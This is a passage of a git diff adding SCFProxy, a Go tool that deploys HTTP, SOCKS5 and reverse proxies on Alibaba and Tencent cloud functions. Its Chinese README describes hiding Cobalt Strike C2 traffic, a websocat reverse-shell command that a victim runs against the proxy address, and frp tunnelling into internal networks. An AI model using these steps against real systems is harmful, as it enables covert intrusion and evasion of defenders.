diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..79cd184 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +.DS_Store +.idea/ +dist/ diff --git a/.goreleaser.yaml b/.goreleaser.yaml new file mode 100644 index 0000000..438171f --- /dev/null +++ b/.goreleaser.yaml @@ -0,0 +1,27 @@ +before: + hooks: + - go mod tidy + +builds: + - id: scfproxy + binary: scfproxy + env: + - CGO_ENABLED=0 + goos: + - linux + - windows + - darwin + - freebsd + - openbsd + goarch: + - 386 + - amd64 + - arm64 + +archives: +- format: zip + replacements: + darwin: macOS + +checksum: + algorithm: sha256 diff --git a/README.md b/README.md new file mode 100644 index 0000000..d687963 --- /dev/null +++ b/README.md @@ -0,0 +1,177 @@ +# SCFProxy +scfproxy 是一个基于云服务商提供的云函数及 API 网关功能实现多种代理的工具。 + +# 安装 +前往 [release](https://github.com/shimmeris/SCFProxy/releases/) 页面下载对应系统压缩包即可。如仍需使用 Python 旧版,请切换至 [Python](https://github.com/shimmeris/SCFProxy/tree/Python) 分支 + +# 使用指南 +## 配置凭证 +首次运行 `scfproxy` 会在 `~/.config/scfproxy` 目录生成 `sdk.toml` 配置文件,用于配置云厂商的 AccessKey/SecretKey。 + +之后运行 `deploy/clear` 命令都将默认读取此文件,也可通过 `-c config` 参数指定。 + +## List +`scfproxy list` 接受 `provider`, `region`, `http`, `socks`, `reverse` 五种参数。 + +`provider` 参数列出目前支持的云厂商,可通过 `-m module` 参数指定模块列出支持特定代理的厂商。 + +`region` 参数用于列出云厂商可部署的区域,需使用 `-p providers` 指定需要查看的云厂商 + +`http`, `socks`, `reverse` 参数用于列出目前已经部署的代理 + +## HTTP 代理 +### 部署 +```shell +scfproxy deploy http -p provider_list -r region_list +``` +`provider_list` 与 `region_list` 传入的参数列表以 `,` 分隔。 + +`region_list` 支持如下 4 种形式(在所有 `deploy` 及 `clear` 命令上都支持) + +* `*` 表示所有区域 +* `area-*` 表示该 area 区域支持的所有地区 +* `are-num` 表示该 area 区域支持的前 `num` 个地区(代码硬编码顺序返回) +* 标准形式,即云厂商所提供的标准 region 形式 + +对于提供多个 `provider` 的情况下,将对每个 `provider` 进行上述 `region` 形式的解析与查找,不存在的 `region` 将被忽略 + +例子: +```shell +scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai +``` + +通过 `scfproxy list -p alibaba,tencent` 可以查看到所有的 region,上面这条命令的执行结果为 +1. 在 `alibaba` 上部署 `ap-northeast-1`, `eu-central-1`, ` eu-west-1`, `cn-shanghai` 区域的 http 代理 +2. 在 `tencent` 上部署 `ap-beijing` 区域的 http 代理 + +### 运行 +```shell +scfproxy http -l port [-c cert_path] [-k key_path] +``` +首次运行会在 `~/.confg/scfproxy/cert` 目录生成 `scfproxy.cer` 及 `scfproxy.key` 证书,需要将其导入系统证书并信任才可以代理 https 请求。 + +### 清理 +```shell +scfproxy clear http -p provider_list -r region_list [--completely] +``` + +清理功能默认只会删除触发器,如需同时删除函数,需添加 `-e/--completely` 参数 + +## SOCKS5 代理 +### 部署 +```shell +scfproxy deploy socks -p provider_list -r region_list -a address [-k key] --auth [user:pass] +``` +`-a address` 用于指定云函数回连的 vps 地址 + +`-k key` 用于连接后进行验证 + +`--auth [user:pass]` 用于指定 socks 认证信息,默认无认证 + +### 运行 +```shell +scfproxy socks -l socks_port -s scf_port -k key +``` +`-l socks_port` 监听 socks_port,等待用户的 socks5 连接 + +`-s scf_port` 监听 scf_port,等待来自云函数的连接,需要部署命令中 `address` 参数的端口一致 + +`-k key` 用于验证,需与部署命令中的 `key` 对应 + + +### 清理 +```shell +scfproxy clear socks -p provider_list -r region_list [--completely] +``` + +因为 `socks` 代理创建的为 1m 的定时触发器,且函数超时时间较长为避免不必要的浪费,建议在监听到来自云函数的连接后清理触发器,在使用完毕后使用 `-e` 参数彻底清理函数。 + +## 反向代理 +### 部署 +```shell +scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list] +``` + +`-o origin ` 用于指定需要用于反向代理的回源地址,可接受 HTTP 及 Websocket 协议。 + +`--ip ip_list` 用于限制访问来源,只有 `ip_list` 中的 ip 才能访问部署返回的反向代理网关地址。 + +### 使用场景 +基于反向代理可有如下使用方法, + +#### C2 隐藏 +以 cobaltstrike 为例,只需将 api 的域名填入 listener 的 host + +```shell +scfproxy deploy reverse ... -o http://vps --ip victim +``` + +![cs.png](img/cs.png) + + +#### 反弹 shell 地址隐藏 +借助 [websocat](https://github.com/vi/websocat) 工具可实现反弹 shell 的功能。 + +```shell +scfproxy deploy reverse ... -o ws://vps --ip victim +``` + +受害者端执行: +```shell +websocat ws://reverse_proxy_address sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib +``` + +攻击者 vps 执行: +```shell +websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib +``` + +效果如图: +![reverse_shell.png](img/reverse_shell.png) + +#### 内网穿透地址隐藏 +该使用场景需要支持 websocket 协议的内网穿透软件。 + +```shell +scfproxy deploy reverse ... -o ws://vps --ip victim +``` + +以 frp 代理 SOCKS 为例,客户端配置: +```ini +[common] +server_addr = reverse_proxy_domain +server_port = 80 +tls_enable = true +protocol = websocket + +[plugin_sock5] +type = tcp +remote_port = 8080 +plugin = socks5 +use_encryption = true +use_compression = true +``` +效果如图 +![frp](img/frp.png) + +### 清理 +```shell +scfproxy clear http -p provider_list -r region_list -o origin +``` +与 HTTP 及 SOCKS 代理不同,反向代理没有 `--completely` 参数,但需要指定 `origin` 参数用于定位需要删除的服务 + +# 支持厂商 +* **阿里云**:不支持反向代理 +* **腾讯云**:部署大陆外地区速度极慢,目前仅支持大陆地区 + + +# 交流群 +该项目仍处于测试阶段,可能存在一些 bug,欢迎提交 issue 或者进入微信群交流。 + +![wechat.png](img/wechat.png) + +# TODO +- [ ] 优化代码 +- [ ] 美化输出 +- [ ] 优化 socks 功能 +- [ ] 增加华为云,AWS,GCP 等其他云厂商 \ No newline at end of file diff --git a/cmd/clear.go b/cmd/clear.go new file mode 100644 index 0000000..dd36750 --- /dev/null +++ b/cmd/clear.go @@ -0,0 +1,194 @@ +package cmd + +import ( + "errors" + "sync" + + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + + "github.com/shimmeris/SCFProxy/cmd/config" + "github.com/shimmeris/SCFProxy/sdk" +) + +var clearCmd = &cobra.Command{ + Use: "clear [http|socks|reverse] -p providers -r regions", + Short: "Clear deployed module-specific proxies", + ValidArgs: []string{"http", "socks", "reverse"}, + Args: cobra.MatchAll(cobra.ExactArgs(1), cobra.OnlyValidArgs), + RunE: func(cmd *cobra.Command, args []string) error { + providers, err := createProviders(cmd) + if err != nil { + return err + } + completely, _ := cmd.Flags().GetBool("completely") + + module := args[0] + switch module { + case "http": + return clearHttp(providers, completely) + case "socks": + return clearSocks(providers, completely) + case "reverse": + origin, _ := cmd.Flags().GetString("origin") + if origin == "" { + return errors.New("missing parameter [-o,--origin]") + } + return clearReverse(providers, origin) + } + + return nil + }, +} + +func init() { + rootCmd.AddCommand(clearCmd) + + clearCmd.Flags().StringSliceP("provider", "p", nil, "specify which cloud providers to clear proxy") + clearCmd.Flags().StringSliceP("region", "r", nil, "specify which regions of cloud providers clear proxy") + clearCmd.Flags().StringP("config", "c", config.ProviderConfigPath, "path of provider credential file") + + // clear http or socks needed + clearCmd.Flags().BoolP("completely", "e", false, "[http|socks] whether to completely clear up deployed proxies (by default only delete triggers)`[http | socks]`") + + // clear reverse needed + clearCmd.Flags().StringP("origin", "o", "", "[reverset] Address of the reverse proxy back to the source") + + clearCmd.MarkFlagRequired("provider") + clearCmd.MarkFlagRequired("region") +} + +func clearHttp(providers []sdk.Provider, completely bool) error { + hconf, err := config.LoadHttpConfig() + if err != nil { + return err + } + + var wg sync.WaitGroup + wg.Add(len(providers)) + + for _, p := range providers { + go func(p sdk.Provider) { + defer wg.Done() + hp := p.(sdk.HttpProxyProvider) + provider, region := hp.Name(), hp.Region() + + if record, ok := hconf.Get(provider, region); ok && record.Api == "" && !completely { + logrus.Infof("%s %s trigger has already been cleared", provider, region) + return + } + + opts := &sdk.HttpProxyOpts{ + FunctionName: HTTPFunctionName, + TriggerName: HTTPTriggerName, + OnlyTrigger: !completely, + } + + err := hp.ClearHttpProxy(opts) + if err != nil { + logrus.Error(err) + return + } + if completely { + hconf.Delete(provider, region) + logrus.Printf("[success] cleared http function in %s.%s", provider, region) + } else { + hconf.Set(provider, region, &config.HttpRecord{}) + logrus.Printf("[success] cleared http trigger in %s.%s", provider, region) + } + }(p) + } + wg.Wait() + + return hconf.Save() +} + +func clearSocks(providers []sdk.Provider, completely bool) error { + sconf, err := config.LoadSocksConfig() + if err != nil { + return err + } + + var wg sync.WaitGroup + wg.Add(len(providers)) + + for _, p := range providers { + go func(p sdk.Provider) { + defer wg.Done() + sp := p.(sdk.SocksProxyProvider) + + provider, region := sp.Name(), sp.Region() + if record, ok := sconf.Get(provider, region); ok && record.Key == "" && !completely { + logrus.Infof("%s %s trigger has already been cleared", provider, region) + return + } + + opts := &sdk.SocksProxyOpts{ + FunctionName: SocksFunctionName, + TriggerName: SocksTriggerName, + OnlyTrigger: !completely, + } + err := sp.ClearSocksProxy(opts) + if err != nil { + logrus.Error(err) + return + } + + if completely { + sconf.Delete(provider, region) + logrus.Printf("[success] cleared socks function in %s.%s", provider, region) + } else { + sconf.Set(provider, region, &config.SocksRecord{}) + logrus.Printf("[success] cleared socks trigger in %s.%s", provider, region) + } + }(p) + } + + wg.Wait() + return sconf.Save() +} + +func clearReverse(providers []sdk.Provider, origin string) error { + rconf, err := config.LoadReverseConfig() + if err != nil { + return err + } + + var wg sync.WaitGroup + + for _, p := range providers { + i := 0 + for _, record := range rconf.Records { + if record.Provider != p.Name() || record.Region != p.Region() || record.Origin != origin { + rconf.Records[i] = record + i++ + continue + } + + wg.Add(1) + go func(p sdk.Provider, record *config.ReverseRecord) { + defer wg.Done() + + rp := p.(sdk.ReverseProxyProvider) + opts := &sdk.ReverseProxyOpts{ + ServiceId: record.ServiceId, + ApiId: record.ApiId, + PluginId: record.PluginId, + } + err := rp.ClearReverseProxy(opts) + if err != nil { + logrus.Error(err) + return + } + + logrus.Printf("[success] cleard reverse proxy for %s in %s.%s", origin, p.Name(), p.Region()) + + }(p, record) + + } + rconf.Records = rconf.Records[:i] + } + + wg.Wait() + return rconf.Save() +} diff --git a/cmd/config/common.go b/cmd/config/common.go new file mode 100644 index 0000000..771aa6f --- /dev/null +++ b/cmd/config/common.go @@ -0,0 +1,14 @@ +package config + +import ( + "encoding/json" + "os" +) + +func save(v interface{}, path string) error { + data, _ := json.MarshalIndent(v, "", " ") + if err := os.WriteFile(path, data, 0644); err != nil { + return err + } + return nil +} diff --git a/cmd/config/credential.go b/cmd/config/credential.go new file mode 100644 index 0000000..6ed723b --- /dev/null +++ b/cmd/config/credential.go @@ -0,0 +1,70 @@ +package config + +import ( + "os" + + "github.com/pelletier/go-toml" +) + +const ProviderConfigContent = `[alibaba] +AccessKeyId = "" +AccessKeySecret = "" +AccountId = "" + +[tencent] +# Named SecretId in tencent +AccessKeyId = "" +# Named SecretKey in tencent +AccessKeySecret = "" + +[huawei] +AccessKeyId = "" +AccessKeySecret = "" +` + +type Credential struct { + AccessKeyId string + AccessKeySecret string + AccountId string +} + +func (c Credential) isSet() bool { + return c.AccessKeyId != "" && c.AccessKeySecret != "" +} + +type ProviderConfig struct { + Alibaba *Credential + Tencent *Credential +} + +func LoadProviderConfig(path string) (*ProviderConfig, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + + config := &ProviderConfig{} + if err := toml.Unmarshal(data, config); err != nil { + return nil, err + } + return config, nil +} + +func (c *ProviderConfig) ProviderCredentialByName(provider string) *Credential { + switch provider { + case "alibaba": + return c.Alibaba + case "tencent": + return c.Tencent + default: + return nil + } +} + +func (c *ProviderConfig) IsSet(provider string) bool { + cred := c.ProviderCredentialByName(provider) + if cred == nil { + return false + } + return cred.isSet() +} diff --git a/cmd/config/http.go b/cmd/config/http.go new file mode 100644 index 0000000..ddd7f20 --- /dev/null +++ b/cmd/config/http.go @@ -0,0 +1,84 @@ +package config + +import ( + "encoding/json" + "errors" + "os" + "sync" +) + +type HttpRecord struct { + Api string +} + +type HttpConfig struct { + mu sync.RWMutex + Records map[string]map[string]*HttpRecord +} + +func LoadHttpConfig() (*HttpConfig, error) { + conf := &HttpConfig{Records: make(map[string]map[string]*HttpRecord)} + data, err := os.ReadFile(HttpProxyPath) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return conf, nil + } + return nil, err + } + + err = json.Unmarshal(data, &conf.Records) + return conf, err +} + +func (c *HttpConfig) Get(provider, region string) (*HttpRecord, bool) { + c.mu.RLock() + defer c.mu.RUnlock() + record, ok := c.Records[provider][region] + return record, ok +} + +func (c *HttpConfig) Set(provider, region string, record *HttpRecord) { + c.mu.Lock() + defer c.mu.Unlock() + _, ok := c.Records[provider] + if !ok { + c.Records[provider] = make(map[string]*HttpRecord) + } + c.Records[provider][region] = record +} + +func (c *HttpConfig) Delete(provider, region string) { + c.mu.Lock() + defer c.mu.Unlock() + delete(c.Records[provider], region) +} + +func (c *HttpConfig) Save() error { + return save(c.Records, HttpProxyPath) +} + +func (c *HttpConfig) AvailableApis() []string { + var apis []string + for _, rmap := range c.Records { + for _, record := range rmap { + r, ok := interface{}(record).(*HttpRecord) + if !ok { + return apis + } + if r.Api != "" { + apis = append(apis, r.Api) + } + } + } + return apis +} + +func (c *HttpConfig) ToDoubleArray() [][]string { + data := [][]string{} + for provider, rmap := range c.Records { + for region, record := range rmap { + data = append(data, []string{provider, region, record.Api}) + } + } + return data +} diff --git a/cmd/config/path.go b/cmd/config/path.go new file mode 100644 index 0000000..fedbb69 --- /dev/null +++ b/cmd/config/path.go @@ -0,0 +1,31 @@ +package config + +import ( + "os" + "os/user" + "path/filepath" + + "github.com/sirupsen/logrus" +) + +var ( + configPath = filepath.Join(userHomeDir(), ".config/scfproxy") + CertPath = filepath.Join(configPath, "cert/scfproxy.cer") + KeyPath = filepath.Join(configPath, "cert/scfproxy.key") + HttpProxyPath = filepath.Join(configPath, "http.json") + SocksProxyPath = filepath.Join(configPath, "socks.json") + ReverseProxyPath = filepath.Join(configPath, "reverse.json") + ProviderConfigPath = filepath.Join(configPath, "sdk.toml") +) + +func init() { + os.MkdirAll(filepath.Join(configPath, "cert"), os.ModePerm) +} + +func userHomeDir() string { + usr, err := user.Current() + if err != nil { + logrus.Fatal("Could not get user home directory: %s\n", err) + } + return usr.HomeDir +} diff --git a/cmd/config/reverse.go b/cmd/config/reverse.go new file mode 100644 index 0000000..8e9346f --- /dev/null +++ b/cmd/config/reverse.go @@ -0,0 +1,58 @@ +package config + +import ( + "encoding/json" + "errors" + "os" + "sync" +) + +type ReverseRecord struct { + Provider string + Region string + Origin string + Api string + ServiceId string + ApiId string + PluginId string + Ips []string +} + +type ReverseConfig struct { + mu sync.Mutex + Records []*ReverseRecord +} + +func LoadReverseConfig() (*ReverseConfig, error) { + config := &ReverseConfig{} + data, err := os.ReadFile(ReverseProxyPath) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return config, nil + } + return nil, err + } + + if err = json.Unmarshal(data, &config.Records); err != nil { + return nil, err + } + return config, nil +} + +func (r *ReverseConfig) Add(record *ReverseRecord) { + r.mu.Lock() + defer r.mu.Unlock() + r.Records = append(r.Records, record) +} + +func (r *ReverseConfig) Save() error { + return save(r.Records, ReverseProxyPath) +} + +func (r *ReverseConfig) ToDoubleArray() [][]string { + data := [][]string{} + for _, r := range r.Records { + data = append(data, []string{r.Provider, r.Region, r.Origin, r.Api}) + } + return data +} diff --git a/cmd/config/socks.go b/cmd/config/socks.go new file mode 100644 index 0000000..ae3602e --- /dev/null +++ b/cmd/config/socks.go @@ -0,0 +1,72 @@ +package config + +import ( + "encoding/json" + "errors" + "os" + "strconv" + "sync" +) + +type SocksRecord struct { + Host string + Port int + Key string +} + +type SocksConfig struct { + mu sync.RWMutex + Records map[string]map[string]*SocksRecord +} + +func LoadSocksConfig() (*SocksConfig, error) { + conf := &SocksConfig{Records: make(map[string]map[string]*SocksRecord)} + data, err := os.ReadFile(SocksProxyPath) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return conf, nil + } + return nil, err + } + + err = json.Unmarshal(data, &conf.Records) + return conf, err +} + +func (c *SocksConfig) Get(provider, region string) (*SocksRecord, bool) { + c.mu.RLock() + defer c.mu.RUnlock() + record, ok := c.Records[provider][region] + return record, ok +} + +func (c *SocksConfig) Set(provider, region string, record *SocksRecord) { + c.mu.Lock() + defer c.mu.Unlock() + _, ok := c.Records[provider] + if !ok { + c.Records[provider] = make(map[string]*SocksRecord) + } + c.Records[provider][region] = record +} + +func (c *SocksConfig) Delete(provider, region string) { + c.mu.Lock() + defer c.mu.Unlock() + delete(c.Records[provider], region) +} + +func (c *SocksConfig) Save() error { + + return save(c.Records, SocksProxyPath) +} + +func (c *SocksConfig) ToDoubleArray() [][]string { + data := [][]string{} + for provider, rmap := range c.Records { + for region, record := range rmap { + data = append(data, []string{provider, region, record.Host, strconv.Itoa(record.Port), record.Key}) + } + } + return data +} diff --git a/cmd/deploy.go b/cmd/deploy.go new file mode 100644 index 0000000..a3b205a --- /dev/null +++ b/cmd/deploy.go @@ -0,0 +1,357 @@ +package cmd + +import ( + "crypto/rand" + "errors" + "fmt" + "net" + "net/url" + "strconv" + "strings" + "sync" + + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + "golang.org/x/exp/slices" + + "github.com/shimmeris/SCFProxy/cmd/config" + "github.com/shimmeris/SCFProxy/sdk" + "github.com/shimmeris/SCFProxy/socks" +) + +var deployCmd = &cobra.Command{ + Use: "deploy [http|socks|reverse] -p providers -r regions", + Short: "Deploy module-specific proxies", + ValidArgs: []string{"http", "socks", "reverse"}, + Args: cobra.MatchAll(cobra.ExactArgs(1), cobra.OnlyValidArgs), + RunE: func(cmd *cobra.Command, args []string) error { + providers, err := createProviders(cmd) + if err != nil { + return err + } + + module := args[0] + switch module { + case "http": + return deployHttp(providers) + case "socks": + addr, _ := cmd.Flags().GetString("addr") + if addr == "" { + return errors.New("missing parameter [-a/--addr]") + } + + key, _ := cmd.Flags().GetString("key") + if key == "" { + return errors.New("missing parameter [-k/--key]") + } + if len(key) != socks.KeyLength { + return errors.New(fmt.Sprintf("key must be %d bytes", socks.KeyLength)) + } + if key == "random" { + key = randomString(socks.KeyLength) + } + + auth, _ := cmd.Flags().GetString("auth") + return deploySocks(providers, addr, key, auth) + case "reverse": + origin, _ := cmd.Flags().GetString("origin") + if origin == "" { + return errors.New("missing parameter [-o/--origin]") + } + ips, _ := cmd.Flags().GetStringSlice("ip") + return deployReverse(providers, origin, ips) + } + return nil + }, +} + +func init() { + rootCmd.AddCommand(deployCmd) + deployCmd.Flags().StringSliceP("provider", "p", nil, "specify which cloud providers to deploy proxy") + deployCmd.Flags().StringSliceP("region", "r", nil, "specify which regions of cloud providers deploy proxy") + deployCmd.Flags().StringP("config", "c", config.ProviderConfigPath, "path of provider credential file") + + // deploy socks needed + deployCmd.Flags().StringP("addr", "a", "", "[socks] host:port address of the cloud function callback") + deployCmd.Flags().StringP("key", "k", "random", "[socks] 8-bytes string used to verify that the connection initiated to [-a host:port] is from the cloud function") + deployCmd.Flags().String("auth", "", "[socks] username:password for socks proxy authentication") + + // deploy reverse needed + deployCmd.Flags().StringP("origin", "o", "", "[reverse] Address of the reverse proxy back to the source") + deployCmd.Flags().StringSlice("ip", nil, "[reverse] Restrict ips which can access the reverse proxy address") + + deployCmd.MarkFlagRequired("provider") + deployCmd.MarkFlagRequired("region") +} + +func createProviders(cmd *cobra.Command) ([]sdk.Provider, error) { + providerConfigPath, _ := cmd.Flags().GetString("config") + providerConfig, err := config.LoadProviderConfig(providerConfigPath) + if err != nil { + return nil, err + } + + providerNames, _ := cmd.Flags().GetStringSlice("provider") + regionPatterns, _ := cmd.Flags().GetStringSlice("region") + var providers []sdk.Provider + for _, p := range providerNames { + if !slices.Contains(allProviders, p) { + logrus.Errorf("%s is not a valid provider", p) + continue + } + + if !providerConfig.IsSet(p) { + logrus.Warningf("%s's credential config not set, will ignore", p) + continue + } + + regions := parseRegionPatterns(p, regionPatterns) + if len(regions) == 0 { + logrus.Error("No region avalible, pleast use list cmd to ") + continue + } + + for _, r := range regions { + provider, err := createProvider(p, r, providerConfig) + if err != nil { + logrus.Error(err) + continue + } + providers = append(providers, provider) + } + } + return providers, nil +} + +func parseRegionPatterns(provider string, regionPatterns []string) []string { + // patter support 4 styles + // *, ap-*, us-3, us-north-1, ap-beijing + var usableRegions []string + regions := listRegions(provider) + + for _, pattern := range regionPatterns { + if pattern == "*" { + usableRegions = regions + break + } + + // parse specific region name like ap-hongkong-1, cn-hangzhou + if slices.Contains(regions, pattern) { + usableRegions = append(usableRegions, pattern) + continue + } + + // parse region name like us-3, ap-* + patternPart := strings.Split(pattern, "-") + if len(patternPart) != 2 { + logrus.Debugf("%s doesn't have region %s", provider, pattern) + continue + } + + prefix := patternPart[0] + num := patternPart[1] + + var matched []string + for _, r := range regions { + if strings.HasPrefix(r, prefix) { + matched = append(matched, r) + } + } + + if num == "*" { + usableRegions = append(usableRegions, matched...) + continue + } + + n, err := strconv.Atoi(num) + // err exists when region like cn-hangzhou provided, but the provider doesn't have cn-hangzhou + if err != nil { + logrus.Debugf("%s doesn't have region %s", provider, pattern) + continue + } + + if n > len(matched) { + n = len(matched) + } + usableRegions = append(usableRegions, matched[:n]...) + } + + return removeDuplicate(usableRegions) +} + +func removeDuplicate(data []string) []string { + var result []string + m := map[string]struct{}{} + + for _, d := range data { + if _, ok := m[d]; ok { + continue + } + result = append(result, d) + m[d] = struct{}{} + } + return result +} + +// TODO: Find a better way to avoid the duplication in `deployXxx` and `clearXxx` function +func deployHttp(providers []sdk.Provider) error { + hconf, err := config.LoadHttpConfig() + if err != nil { + return err + } + + var wg sync.WaitGroup + wg.Add(len(providers)) + + for _, p := range providers { + go func(p sdk.Provider) { + defer wg.Done() + provider, region := p.Name(), p.Region() + hp, ok := p.(sdk.HttpProxyProvider) + if !ok { + logrus.Errorf("Provider %s can't deploy http", p.Name()) + return + } + + onlyTrigger := false + if record, ok := hconf.Get(provider, region); ok { + if record.Api != "" { + logrus.Infof("%s %s has been deployed, pass", provider, region) + return + } + onlyTrigger = true + } + + opts := &sdk.HttpProxyOpts{ + FunctionName: HTTPFunctionName, + TriggerName: HTTPTriggerName, + OnlyTrigger: onlyTrigger, + } + r, err := hp.DeployHttpProxy(opts) + if err != nil { + logrus.Error(err) + return + } + + logrus.Printf("[success] http proxy deployed in %s.%s", provider, region) + hconf.Set(r.Provider, r.Region, &config.HttpRecord{Api: r.API}) + }(p) + } + + wg.Wait() + return hconf.Save() + +} + +func deploySocks(providers []sdk.Provider, addr, key, auth string) error { + sconf, err := config.LoadSocksConfig() + if err != nil { + return err + } + + var wg sync.WaitGroup + wg.Add(len(providers)) + + for _, p := range providers { + go func(p sdk.Provider) { + defer wg.Done() + provider, region := p.Name(), p.Region() + sp, ok := p.(sdk.SocksProxyProvider) + if !ok { + logrus.Errorf("Provider %s can't deploy socks", provider) + return + } + + onlyTrigger := false + if record, ok := sconf.Get(provider, region); ok { + if record.Key != "" { + logrus.Infof("%s %s has already been deployed", provider, region) + return + } + onlyTrigger = true + } + + opts := &sdk.SocksProxyOpts{ + FunctionName: SocksFunctionName, + TriggerName: SocksTriggerName, + OnlyTrigger: onlyTrigger, + Key: key, + Addr: addr, + Auth: auth, + } + if err := sp.DeploySocksProxy(opts); err != nil { + logrus.Error(err) + return + } + + logrus.Printf("[success] socks proxy deployed in %s.%s", provider, region) + tcpAddr, _ := net.ResolveTCPAddr("tcp", addr) + sconf.Set(sp.Name(), sp.Region(), &config.SocksRecord{Key: key, Host: tcpAddr.IP.String(), Port: tcpAddr.Port}) + }(p) + } + + wg.Wait() + return sconf.Save() +} + +func deployReverse(providers []sdk.Provider, origin string, ips []string) error { + rconf, err := config.LoadReverseConfig() + if err != nil { + return err + } + + var wg sync.WaitGroup + wg.Add(len(providers)) + + u, _ := url.Parse(origin) + scheme := u.Scheme + + for _, p := range providers { + go func(p sdk.Provider) { + defer wg.Done() + rp, ok := p.(sdk.ReverseProxyProvider) + if !ok { + logrus.Errorf("%s can't deploy reverse proxy", p.Name()) + return + } + + opts := &sdk.ReverseProxyOpts{Origin: origin, Ips: ips} + r, err := rp.DeployReverseProxy(opts) + if err != nil { + logrus.Error(err) + return + } + + whitelistIp := strings.Join(ips, ", ") + if r.PluginId == "" { + whitelistIp = "all" + } + + api := fmt.Sprintf("%s://%s", scheme, r.ServiceDomain) + record := &config.ReverseRecord{ + Provider: r.Provider, + Region: r.Region, + ApiId: r.ApiId, + Api: api, + Origin: r.Origin, + ServiceId: r.ServiceId, + PluginId: r.PluginId, + Ips: ips, + } + rconf.Add(record) + logrus.Infof("[success] %s.%s: %s - %s : accessible from %v", rp.Name(), rp.Region(), r.Origin, api, whitelistIp) + }(p) + } + + wg.Wait() + return rconf.Save() +} + +func randomString(n int) string { + b := make([]byte, n) + if _, err := rand.Read(b); err != nil { + panic(err) + } + s := fmt.Sprintf("%X", b) + return s +} diff --git a/cmd/http.go b/cmd/http.go new file mode 100644 index 0000000..14478ee --- /dev/null +++ b/cmd/http.go @@ -0,0 +1,48 @@ +package cmd + +import ( + "errors" + + "github.com/spf13/cobra" + + "github.com/shimmeris/SCFProxy/cmd/config" + "github.com/shimmeris/SCFProxy/http" +) + +var ( + listenAddr string + certPath string + keyPath string +) + +var httpCmd = &cobra.Command{ + Use: "http", + Short: "Start http proxy", + RunE: func(cmd *cobra.Command, args []string) error { + conf, err := config.LoadHttpConfig() + if err != nil { + return err + } + + apis := conf.AvailableApis() + if len(apis) < 1 { + return errors.New("available HTTP proxy apis must be at least one") + } + opts := &http.Options{ + ListenAddr: listenAddr, + CertPath: certPath, + KeyPath: keyPath, + Apis: apis, + } + return http.ServeProxy(opts) + }, +} + +func init() { + rootCmd.AddCommand(httpCmd) + httpCmd.Flags().StringVarP(&listenAddr, "listen", "l", "", "host:port of the proxy") + httpCmd.Flags().StringVarP(&certPath, "certPath", "c", config.CertPath, "filepath to the CA certificate used to sign MITM certificates") + httpCmd.Flags().StringVarP(&keyPath, "keyPath", "k", config.KeyPath, "filepath to the private key of the CA used to sign MITM certificates") + + httpCmd.MarkFlagRequired("listen") +} diff --git a/cmd/list.go b/cmd/list.go new file mode 100644 index 0000000..ebe8706 --- /dev/null +++ b/cmd/list.go @@ -0,0 +1,87 @@ +package cmd + +import ( + "errors" + "os" + + "github.com/olekukonko/tablewriter" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + + "github.com/shimmeris/SCFProxy/cmd/config" +) + +var listCmd = &cobra.Command{ + Use: "list [provider|region|http|socks|reverse] [flags]", + Short: "Display all kinds of data", + Long: "Display all kinds of data\n" + + "`list provider` accepts `-m module` flag to filter out providers for a specific module\n" + + "`list region` accepts `-p providers` flag to specify which providers supported regions to view\n" + + "remain arguments like `http`, `socks`, `reverse` are used to list the proxies that are currently deployed", + ValidArgs: []string{"provider", "region", "http", "socks", "reverse"}, + Args: cobra.MatchAll(cobra.ExactArgs(1), cobra.OnlyValidArgs), + RunE: func(cmd *cobra.Command, args []string) error { + table := tablewriter.NewWriter(os.Stdout) + table.SetAutoMergeCells(true) + table.SetRowLine(true) + + switch args[0] { + case "provider": + logrus.Debug("test") + module, _ := cmd.Flags().GetString("module") + table.Append(listProviders(module)) + table.Render() + + return nil + case "region": + provider, _ := cmd.Flags().GetStringSlice("provider") + if provider == nil { + return errors.New("missing parameter [-p/--provider]") + } + + data := [][]string{} + for _, p := range provider { + for _, r := range listRegions(p) { + data = append(data, []string{p, r}) + } + } + table.AppendBulk(data) + table.Render() + case "http": + table.SetHeader([]string{"Provider", "Region", "Api"}) + conf, err := config.LoadHttpConfig() + if err != nil { + return err + } + data := conf.ToDoubleArray() + table.AppendBulk(data) + table.Render() + case "socks": + table.SetHeader([]string{"Provider", "Region", "Host", "Port", "Key"}) + conf, err := config.LoadSocksConfig() + if err != nil { + return err + } + data := conf.ToDoubleArray() + table.AppendBulk(data) + table.Render() + case "reverse": + table.SetHeader([]string{"Provider", "Region", "Origin", "Api"}) + conf, err := config.LoadReverseConfig() + if err != nil { + return err + } + data := conf.ToDoubleArray() + table.AppendBulk(data) + table.Render() + } + return nil + }, +} + +func init() { + rootCmd.AddCommand(listCmd) + + listCmd.Flags().StringP("module", "m", "", "filter out providers for a specific module `[provider]`") + listCmd.Flags().StringSliceP("provider", "p", nil, "specify which providers supported regions to view `[region]`") +} diff --git a/cmd/provider.go b/cmd/provider.go new file mode 100644 index 0000000..c9201dd --- /dev/null +++ b/cmd/provider.go @@ -0,0 +1,64 @@ +package cmd + +import ( + "github.com/shimmeris/SCFProxy/cmd/config" + "github.com/shimmeris/SCFProxy/sdk" + "github.com/shimmeris/SCFProxy/sdk/provider/alibaba" + "github.com/shimmeris/SCFProxy/sdk/provider/tencent" +) + +const ( + HTTPFunctionName = "scf_http" + HTTPTriggerName = "http_trigger" + + SocksFunctionName = "scf_socks" + SocksTriggerName = "socks_trigger" +) + +var ( + allProviders = []string{"alibaba", "tencent"} + httpProviders = []string{"alibaba", "tencent"} + socksProviders = []string{"alibaba", "tencent"} + reverseProviders = []string{"tencent"} +) + +func listProviders(module string) []string { + switch module { + case "http": + return httpProviders + case "socks": + return socksProviders + case "reverse": + return reverseProviders + default: + return allProviders + } +} + +func listRegions(provider string) []string { + switch provider { + case "alibaba": + return alibaba.Regions() + case "tencent": + return tencent.Regions() + default: + return nil + } +} + +func createProvider(name, region string, config 